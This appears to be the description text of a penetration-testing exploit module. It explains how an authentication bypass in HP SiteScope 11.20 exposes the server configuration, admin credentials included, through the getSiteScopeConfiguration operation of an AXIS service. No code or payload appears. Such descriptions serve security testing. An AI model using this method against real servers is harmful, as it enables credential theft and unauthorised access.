          This module exploits an authentication bypass vulnerability in HP SiteScope
        which allows to retrieve the HP SiteScope configuration, including administrative
        credentials. It is accomplished by calling the getSiteScopeConfiguration operation
        available through the APISiteScopeImpl AXIS service. The HP SiteScope Configuration
        is retrieved as file containing Java serialization data. This module has been
        tested successfully on HP SiteScope 11.20 over Windows 2003 SP2 and Linux Centos
        6.3.
